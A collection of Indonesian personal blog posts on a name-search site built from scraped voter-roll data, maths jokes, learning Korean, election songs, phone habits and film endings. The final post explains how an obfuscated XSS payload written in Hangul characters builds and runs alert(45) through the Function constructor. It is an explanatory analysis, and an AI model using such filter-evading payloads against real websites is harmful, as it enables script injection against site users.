Nama orang Indonesia

Sudah beberapa kali muncul di media massa dan juga media sosial mengenai berbagai nama unik yang ada di Indonesia (misalnya: TUHAN, SETAN, dsb). Saya penasaran dengan berbagai nama yang lain, dan ternyata KPU pernah mengupload data semua orang di Indonesia yang memiliki hak pilih. Sayangnya saya terlambat mendownload data karena pilkada DKI sudah lewat, jadi datanya hanya yang non DKI saja.

Sekarang saya buatkan situs ini untuk eksplorasi berbagai nama yang ada di Indonesia. Kita bisa mencari nama yang diawali, diakhiri, mengandung, atau tepat sama dengan kata tertentu. Kita juga bisa melihat berapa banyak total nama yang ditemukan.

https://nama.em.sg

Nama yang di website KPU tidak bersih, misalnya ada karakter “/”, “.” dsb. Untuk memudahkan: saya hapus semua selain A-Z dan spasi. Setelah data dibersihkan ada sekitar 45 juta nama unik yang berhasil saya kumpulkan. Total datanya: 774 Mb.

Ada banyak hal iseng yang bisa dilakukan, misalnya mencari tahu berapa yang nama depannya ASEP (karena ada Paguyuban Asep Dunia). Hasil pencarian bisa dishare langsung URL-nya.

Joke Matematika untuk anak-anak

Sampai saat ini Jonathan masih terus menerus membaca ulang seri buku Murderous Math dan masih suka segala hal yang berbau matematika. Sekarang dia senang kalau bisa mengerti sebuah joke yang berhubungan dengan matematika.

Contohnya mengenai basis bilangan biner:

There are only 10 types of people in the world: those who understand binary, and those who don’t.

Lalu mengenai oktal

Q. Why do mathematicians confuse Halloween and Christmas?
A. Because 31 Oct = 25 Dec.

Hal-hal yang berhubungan dengan simbol matematika.

Lalu mengenai pi

Dan permainan kata berdasarkan istilah-istilah di matematika.

Contoh lain yang berhubungan dengan geometri

Saya senang Jonathan mulai bisa menghargai joke-joke seperti ini. Sekarang setiap kali menemukan joke/meme lucu yang berhubungan dengan matematika (dan juga bahasa, tapi ini akan saya bahas kali lain) yang age appropriate untuk Jonathan akan saya simpan atau saya forward langsung ke account Jonathan.

Gara-gara K-drama

Saya jadi iseng belajar bahasa Korea hehehe, dan saya yakin banyak penonton k-drama yang akhirnya penasaran dan mempelajari huruf Korea dan atau transliterasinya.

Pengalaman dari belajar bahasa Thailand, saya gak mau belajar pake transliterasi saja, karena akhirnya nantinya malah bingung. Awalnya beberapa bulan lalu saya belajar pake Memrise tanpa membaca atau berusaha menghapalkan apa saja huruf-huruf yang ada di bahasa Korea.

Hasilnya? ya kadang-kadang emang masih tebak-tebak doang dan kalau tiap hari dilatih, bisalah ingat cukup banyak. Tapi setelah sekian lama gak latihan, semuanya terbang hilang lagi hehehe.

Sejak Joe rajin ikutin kursus di Coursera, saya akhirnya iseng ikutan juga ambil kursus gratisan bahasa Korea. Hasilnya lumayan, baru seminggu belajar saya sudah bisa ingat semua konsonan dan vokalnya. Terus apakah saya sudah bisa baca dengan lancar? tentu tidak hahaha, tetep aja butuh latihan dan konsentrasi tinggi.

Coursera masih di minggu ke – 4

Dari 5 Minggu jadwal belajar, dalam waktu 8 hari saya sudah menyelesaikan materi untuk 3 minggu, dan sekarang masuk minggu ke-4. Tapi saya sedang kesulitan mengingat angka dalam bahasa Korea, sepertinya butuh ngajakin Joshua buat belajar bahasa Korea biar dia yang review saya tinggal dengerin hehehe.

Setelah mengenal huruf Korea, saya kembali lagi memakai aplikasi Memrise yang lama saya tinggalkan. Dan sejak 12 hari yang lalu, saya masih tetap ingat untuk mengerjakan paling tidak sampai ada day streak nya tercapai.

Memrise sudah 12 hari tidak pernah lupa latihan

Sebenarnya tadinya saya pikir dengan aplikasi Memrise saja saya akan bisa belajar secara natural, tapi ternyata belajar dengan materi yang lebih terstuktur seperti yang ada di Coursera justru sangat membantu untuk awalan sebelum terjun bebas pakai Memrise.

Metode belajar dengan Memrise

Saya cukup suka dengan Memrise, karena kita bukan cuma belajar kata-kata saja, tapi langsung phrase dan bahkan kalimat. Selain itu cara belajarnya gak monoton, setiap sekian kata/frasa kita berganti menu apakah itu melatih mendengar, review klasik, melatih pronounciation kita dan juga ada video mendengarkan orang lokal Korea berbicara. Belajarnya juga gak perlu lama-lama, kita bisa atur target kita setiap harinya mau belajar berapa kata.

Walaupun belum selesai belajarnya, tapi dari sedikit yang sudah dipelajari, saya bisa merasakan belajar bahasa Korea ini lebih mudah dimengerti karena saya sudah bisa bahasa Thai. Ada beberapa bunyi pengucapan dalam bahasa Korea yang tidak bisa dituliskan dalam bahasa Indonesia, tapi saya bisa menemukan padanannya dalam bahasa Thai.

Kalau kamu jadi belajar apa gara-gara nonton k-drama? atau kalau belajar bahasa Korea, pakai app atau sumber dari mana? karena belajar Korea ini cuma iseng doang, semoga saya bisa selesaikan Courseranya. Sekarang ini lagi mentok dan butuh konsentrasi tinggi buat mengerjakan quiz berikutnya hehehhe.

Mars dan Jingle Pemilu

Masih sambungan dari ngumpul sosialisasi pemilu kemarin, pulang ke rumah jadi teringat lagu mars pemilu. Eh waktu nyari di YouTube, ternyata taun 2019 lagunya udah ganti. Lagu yang baru lebih bernada riang gembira, tapi mungkin karena belum biasa, rasanya mars yang lama lebih gampang dihapalin.

Supaya gak lupa, saya akan coba tuliskan di sini lirik Mars Pemilu yang diciptakan oleh Mochtar Embut. Lagu ini masih cukup relevan, walaupun nama kabinetnya sudah bukan kabinet ampera lagi, dan saya sendiri harus ingat-ingat ampera itu singkatan dari amanat penderitaaan rakyat. Jadi kabinetnya dulu mengemban misi untuk mengangkat taraf hidup rakyat lepas dari penderitaan akibat penjajahan sebelumnya.

Pemilihan umum telah memanggil kita
S'luruh rakyat menyambut gembira
Hak Demokrasi Pancasila
Hikmah Indonesia merdeka

Pilihlah wakilmu yang dapat dipercaya
Pengemban Ampera yang setia
Di bawah Undang Undang Dasar 45
Kita menuju ke pemilihan umum

Mars Pemilu yang lama ini dikenal dengan sebutan mars pemilu orde baru. Dulu saya ingat, menjelang pemilu akan sering diputar di TVRI (dulu stasiun tv cuma ada TVRI), makanya sampai hapal seperti hipnotis hehehe. Tapi idenya bagus sih, mengingatkan biar jangan sampai gak ikutan kasih suara.

Untuk Mars pemilu yang baru, saya baca katanya sudah ada sejak orde reformasi, tapi mungkin karena saya sudah lama tidak pemilu di Indonesia, jadi gak tau juga kalau lagunya sudah ganti dan tidak tahu seberapa sering lagunya ini diperdengarkan di stasiun tv atau radio.

Lirik lagu pemilu baru, diciptakan oleh Nortier Simanungkalit.

Pemilihan umum kini menyapa kita
Ayo songsong dengan gempita
Kita pilih wakil rakyat anggota DPR, DPD, dan DPRD

Mari mengamalkan Pancasila
Undang-undang Dasar 45
Memilih presiden dan wakil presiden
Tegakkan reformasi Indonesia

Laksanakan dengan jujur adil dan cermat
Pilih dengan hati gembira
Langsung umum bebas rahasia
Dirahmati Tuhan yang Maha Esa


Selain mars pemilu sekarang ada lagi namanya jingle pemilu 2019, saya juga baru liat hari ini hehehe

Berikut ini liriknya:

Tiba saatnya Indonesia untuk memilih (Yuk Memilih)
Besama datang ke TPS salurkan aspirasi
Langsung Umum Bebas Rahasia Jujur dan Adil
Demi Indonesia Damai Sejahtera
(Ayo !!!)
Kita Memilih untuk Indonesia
Menggapai cita lewat suara kita
Bagimu Indonesia Sukseskan Demokrasi
Jadi pemilih berdaulat Negara Indonesia Kuat
Jadi pemilih berdaulat Negara Indonesia Kuat
Penyanyi : Kikan
Pencipta Lagu : L. Agus Wahyudi M
Aransemen Lagu : Eros (Sheila On 7)

Jadi sekarang, udah bisa ikut nyanyi dan tetap ingat untuk gunakan hak pilih ya!

Males Nerima Telepon

Dulu, jaman nelepon itu harus ke wartel atau pake koin di telepon umum, sering banget rasanya pengen aja gitu iseng nelpon-nelpon. Waktu jaman internet belum ada dalam genggaman, pengen aja gitu rasanya cek e-mail atau sekedar chatting di warnet 30 menit pun jadi. Dulu, jaman video call itu masih harus pake skype, rasanya perlu banget ngajarin ortu buat nyalain skype di komputer rumah dan beli webcam segala. Tapi sekarang, setelah semua tersedia dalam telepon genggam dengan akses internet unlimited 24 jam, rasa pengen itu udah berkurang gak kayak dulu lagi.

Sekarang ini, hampir semua orang sudah bisa mengakses internet dan mengajari mereka video call jauh lebih mudah. Oppung dan Eyang juga udah pada jagoan pake video call dari telepon genggamnya. Terus apakah jadi nelepon orangtua setiap hari? ya nggak juga sih, tapi ya paling tidak jadi lebih mudah sekali seminggu bisa bertatap muka dengan Eyang atau Oppung. Sekedar update singkat. Kalau gak sempat video call, ya minimal bisa kirim pesan singkat via WhatsApp atau aplikasi messenger lainnya, dan sesekali sambil kirim foto atau video anak-anak.

Komunikasi dengan keluarga besar sih ya seperti biasa ya, kalau telepon tiap hari juga ya mau ngobrolin apa. Paling sekarang ini kebanyakan keluarga itu ada group chat nya. Biasanya sesekali akan ada berita-berita keluarga dan gak tiap hari juga selalu ramai. Saya tidak bergabung dengan group keluarga yang terlalu besar, saya cuma gabung di grup keluarga kakak beradik dan orangtua saja.

Cerita awalnya kepanjangan ya dan belum nyambung sama judul. Saya cuma mau cerita, sejak gampangnya terhubung dengan banyak komunitas, saya cenderung tidak suka nerima telepon, apalagi misalnya bukan dari orang yang saya benar-benar kenal. Saya lebih suka obrolan itu tertulis. Alasannya sih biar bisa sambil mengerjakan hal lain (misalnya sambil ajak main atau ngajarin anak belajar). Alasan lainnya ya, kalau di telepon itu bisa lupa point-point percakapannya dan gak bisa sambil mencari informasi yang dibutuhkan. Kalau misalnya chat kan bisa sambil mencari informasi di google dan kemudian membagikan informasi yang ditemukan. Selain itu kalau chat itu gak harus di jawab langsung. Kadang-kadang sebagai ibu, saya harus sambil antar jemput anak, atau nungguin anak di tempat kursus. Rasanya gak enak aja gitu teleponan di mana ada banyak orang juga lagi pada diam-diaman hehehe.

Nah, waktu saya cerita ke Joe, kenapa ya saya kok sekarang malas terima telepon apalagi kalau gak kenal. Eh Joe bilang ya wajarlah, untuk hal-hal yang gak urgent, mendiskusikan sesuatu itu lebih baik dengan tulisan, baik e-mail ataupun chat. Setidaknya jadi ada arsip percakapannya dan bisa dibaca kembali untuk menyimpulkan point-point yang dibutuhkan. Malah kata Joe, kadang-kadang malah kalau menyangkut komunitas, lebih baik dilakukan secara tertulis di group baik itu group mail ataupun group chat, jadi ya semua anggota bisa baca dan gak harus di update satu persatu.

Saya tahu, untuk beberapa urusan, misalnya membatalkan janji karena ada urusan lain yang lebih penting secara mendadak, pastinya harus nelepon daripada kita kirim e-mail atau chat yang kemudian ternyata orangnya gak baca dan menunggu-nunggu kita tanpa kabar. Tapi jangan salah, saya masih suka juga sesekali menelpon teman yang sudah lama gak berkabar untuk janjian ketemuan misalnya. Walaupun misalnya janji ketemuannya besok, ngobrol di teleponnya bisa agak lama juga walau gak urgent hehehe. Kalau kamu bagaimana? lebih suka selalu nelepon saja atau pake tulisan chat/e-mail untuk komunikasi di komunitas?

Happy Ending?

Realita hidup ini gak selalu semua berakhir dengan bahagia. Tapi tentunya kalau nonton film atau baca fiksi yang endingnya ga bahagia, rasanya kok ga enak ya. Padahal bisa saja kita teruskan sendiri ceritanya berdasarkan imajinasi kita dan semuanya bisa berakhir sesuai maunya kita. Tapi itukan beda dan ga seru, mau refreshing gak pake mikirin ending sendiri ah, mau terima yang pasti-pasti aja. Dalam hidup ini juga mana ada sih yang tau pasti apa yang terjadi besok hari, tapi kadang kita bisa prediksi apakah besok hujan atau tidak berdasarkan berbagai faktor yang bisa diukur di alam ini.

Aduh ini mau ngomongin apa sih, pasti langsung nuduh saya mau bahas drama korea ya? Hahahaha, ya dan tidak sebenernya, mau ngomongin film seri aja secara umum. Walaupun awalnya nulis ini karena mikirin beberapa generalisasi dari film-film yang saya tonton terutama beberapa kdrama yang belakangan ini jadi tontonan saya.

Untuk genre romantis, happy ending itu jelas kalau akhirnya setelah lika liku kisah cinta naik turun, akhirnya mereka hidup bahagia selamanya, walaupun biasanya dalam setiap kisah cinta akan ada tokoh yang jadi orang ke-3 atau ke-4 yang kurang beruntung mendapatkan versi bahagianya. Minimal harus ada kejelasan bahwa mereka akan bersama, bukan dikasih hint doang kayak endingnya Alhambra hehehe.

Untuk genre horror, happy ending itu tentunya kalau tokohnya ada lebih dari 1 yang selamat. Film-film Holywood biasanya diawalin dengan sekelompok orang yang terisolasi dan pada akhir episode hanya 1 atau 2 yang masih hidup. Lah yang lain kemana? ya namanya horror, pastilah yang lain ga selamat jadi korban mahluk yang mengejar-ngejar yang hidup. Mahluknya bisa berupa mahluk imajinasi atau orang super jahat kayak film Saw.

Untuk genre action, happy ending itu kalau anak mudanya berhasil mengalahkan orang jahatnya. Kalau orang jahatnya yang menang, pasti penonton merasa kecewa. Misalnya kalau film Superman VS Batman gimana dong? emang yang mana yang anak mudanya? pasti deh ada yang kecewa dengan endingnya film itu.

Ada genre apalagi ya, oh science fiction, happy ending itu kalau penjelasan ilmiahnya masuk di akal kita dan berhasil membantu tokoh utama menyelesaikan misinya. Dulu ngikutin serial Fringe, ini ceritanya sempat agak kesana kemari gak jelas, eh tau-tau akhirnya nyambung lagi dengan season awal dan semua diselesaikan, padahal tadinya udah sempet males ngikutinnya.

Entah kenapa, mau itu buku atau film, ada kecenderungan kita ingin melihat sesuatu berakhir dengan bahagia. Walau begitu, ada juga beberapa series yang membuat penonton berpihak ke orang yang melakukan kejahatan. Ini sih biasanya ada penjelasan yang merasionalkan kejahatannya, dan secara gak langsung penonton akan pro sama kejahatan yang dilakukan sama pemeran utamanya.

Siapa yang pernah tau serial Dexter? pernah ga waktu nonton serial itu ikut deg-degan waktu identitasnya hampir terbongkar? padahal kalau beneran ada di dunia nyata, Dexter itu orang jahat loh apapun alasannya. Buat yang belom pernah nonton atau tau Dexter, silakan google heheh, terlalu panjang buat saya jelaskan di sini.

Ada yang inget serial Prison Break? nah saya tanyakan, kira-kira apakah kalau ada napi yang kabur dari penjara kita akan merasa senang? atau kita malah jadi kuatir. Gimana dengan serial Breaking Bad? ikut senang ga dengan endingnya? atau kasihan dengan nasib tokoh utamanya setelah dia hampir ketahuan berkali-kali?

Pada akhirnya semua kembali ke persepsi dan imajinasi kita. Karena hidup ini adalah proses, kita yang menentukan apakah sejauh ini hidup kita happy atau gak. Konflik dan masalah akan selalu ada, tapi bukan berarti kalau lagi banyak masalah hidup kita lagi ga happy. Kebahagiaan itu pilihan, nonton serial yang endingnya selalu happy juga pilihan hahaha. Maaf kalau tulisan ini terasa agak random.

Payload XSS non latin

Tadi saya melihat ada yang sharing payload XSS yang hanya menggunakan karakter dalam Hangul (alfabet bahasa Korea), tanpa huruf latin. Biasanya payload butuh huruf latin karena berbagai fungsi (termasuk fungsi “alert”) butuh karakter latin. Di tulisan ini saya akan menjelaskan cara kerja payload ini lalu membuat versi dengan aksara Jawa.

Payload utamanya seperti ini:

([,하,,,,훌]=[]+{},[한,글,페,이,,로,드,ㅋ,,,ㅎ]=[!!하]+!하+하.ㅁ)
[훌+=하+ㅎ+ㅋ+한+글+페+훌+한+하+글][훌](로+드+이+글+한+'(45)’)()

Saya tidak mengerti bahasa Korea, tapi kita bisa menggunakan search and replace untuk menggantikan tiap bagian dengan huruf latin seperti ini:

([,A,,,,B]=[]+{},[C,D,E,F,,G,H,I,,,J]=[!!A]+!A+A.K) [B+=A+J+I+C+D+E+B+C+A+D][B](G+H+F+D+C+'(45)' )()

Hasilnya: payload di atas tetap akan bisa jalan dengan output yang sama. Tapi bagaimana caranya, kok bisa? pertama kita pecahkan dulu menjadi beberapa bagian seperti ini:

(X) [Y][Y](Z)()

Bagian X adalah:

([,A,,,,B]=[]+{},[C,D,E,F,,G,H,I,,,J]=[!!A]+!A+A.K)

Bagian Y adalah seperti ini (di sini nilai B di kiri sama dengan di kanan)

[B+=A+J+I+C+D+E+B+C+A+D][B]

dan bagian Z adalah

G+H+F+D+C+'(45)'

Mari kita mulai bagian X, ini terdiri dari dua bagian, seperti ini (R=S, T=U)

Subbagian pertama adalah mengassign: [,A,,,,B] dengan []+{}. Di sisi kanan ekspresi [] + {} akan menghasilkan string "[object Object]". Di JavaScript kita bisa mengisi beberapa variabel sekaligus dengan cara: [A,B,C]=[1,2,3], (A=1, B=2, C=3) atau jika ada elemen di kiri dikosongkan, maka nilainya akan diabaikan. Ini istilahnya adalah Destructuring assignment.

Jadi subbagian itu akan mengisi A dengan huruf kedua para string yaitu huruf ‘o’ (huruf pertama adalah ‘[‘) dan B diisi dengan string ‘c’. Jadi bagian R=S bisa disederhanakan jadi [A,B]="oc".

Subbagian kedua di sisi kanannya berisi: !!A (akan menjadi string “true”), !A (akan menjadi string “false”), dan A.K yang akan mengakses property K dari object A. Karena properti ini tidak ada, hasilnya adalah “undefined”. Jadi subbagian kedua adalah mengisi variabel

[C,D,E,F,,G,H,I,,,J]="truefalseundefined""

Atau singkatnya akan mengisi variabel berikut:

 C = t
D = r
E = u
F = e
G = a
H = l
I = s

Jadi bisa kita sederhanakan:

[C,D,E,F,G,H,I] = "trueals"

Kalau digabung keduanya

([A,B]="oc", [C,D,E,F,G,H,I] = "trueals")

atau bisa juga disederhanakan lagi, intinya adalah mengisi variabel seperti ini

([A,B,C,D,E,F,G,H,I] = "octrueals")

Bagian Y seperti ini: dengan nilai B=’c’, A=’o’

[B+=A+J+I+C+D+E+B+C+A+D][B]

Jadi jika digabung menjadi:

["constructor"] ["constructor"]

Bagian terakhir Z, seperti ini: dengan nilai G=’a’, H=’l’, F=’e’, D=’r’ dan C=’t’

G+H+F+D+C+'(45)'

Jadi Z isinya adalah alert(45). Jika digabung penyederhanaan X,Y, Z di atas:

([A,B,C,D,E,F,G,H,I] = "octrueals") ["constructor"] ["constructor"] ("alert(45)")()

karena variabel A,B,C dst sudah disubstitusikan, jadi tidak terpakai lagi:

("octrueals") ["constructor"] ["constructor"]  
("alert(45)")()

String paling kiri sebenarnya tidak penting, karena objek string apapun boleh

("yohanes") ["constructor"] ["constructor"]  
("alert(45)")()

Kenapa itu bisa menampilkan alert?

Bagian pertama "string" ["constructor"] sama saja dengan "string".constructor, yang hasilnya adalah sebuah fungsi konstruktor untuk String. Sebuah fungsi juga merupakan instance sebuah kelas yaitu Function. Function juga memiliki construtor (yang juga merupakan sebuah fungsi yang bisa dipanggil).

Jadi "string".construtor.construtor adalah konstruktor untuk Function. Di Javascript kita bisa membuat fungsi dengan memakai konstruktor Function, seperti ini

f = Function.constructor("alert(1)")

lalu kita bisa memanggil fungsi f(). Atau bisa juga langsung:

Function.constructor("alert(1)")()

Jadi pada dasarnya payload XSS di atas adalah:

"string" ["constructor"] ["constructor"] ("alert(45)")()

Atau:

String.constructor["constructor"]("alert(45)")()

Atau

Function.constructor("alert(45)")()

Jadi sebenarnya payloadnya sederhana, karakter Hangul pun bisa digantikan karakter bahasa apapun. Membuat payload XSS dengan karakter Jawa atau emoji juga bisa.

Jika teks di atas tidak terbaca karena masalah font, seharusnya seperti ini tampilannya dalam bentuk HTML lengkap: